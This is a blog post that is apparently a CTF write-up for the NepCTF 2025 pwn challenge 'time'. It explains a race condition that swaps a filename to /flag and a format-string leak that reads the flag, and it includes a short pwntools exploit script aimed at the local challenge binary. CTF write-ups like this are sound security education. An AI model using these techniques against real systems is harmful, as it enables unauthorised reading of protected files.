• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 众包
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
capybaras
博客园    首页    新随笔    联系   管理    订阅  订阅
2025_NepCTF_PWN

2025_NepCTF_PWN

time

Key Point

  • 条件竞争
  • 格式化字符串漏洞

Attack

程序存在格式化漏洞,可以泄露读入的文件内容。但是对flag字符做了限制,所以我通过thread条件竞争方法来进行绕过。
在第一次读入一个很长的字符串作为文件名,就会在第一个线程执行md5加密时,会产生一段时间的延时,在这个时间内,我们在第二次输入时,输入/flag,导致变量file被改为/flag。
当第一个线程执行完md5加密后,file已经被我们改成了/flag字符,所以最后读取的文件为/flag,成功将其读入内存中后,然后利用格式化字符串漏洞读取flag。
exp:

from pwn import *
gdbsc = '''
    b *$rebase(0x002DC1)
    set follow-fork-mode parent
    c
    thread 2
    b *$rebase(0x002D0B)
    c
'''
#p = gdb.debug('./time',gdbscript=gdbsc)
p = process('./time')

p.sendlineafter('name:',"%25$lx%24$lx%23$lx%22$lx")
p.sendlineafter('read:',"a"*1000000)
p.sendlineafter('read:',"/flag")
p.interactive()

smallbox

posted on 2025-08-09 17:07  Hack_Tea  阅读(16)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2026
浙公网安备 33010602011771号 浙ICP备2021040463号-3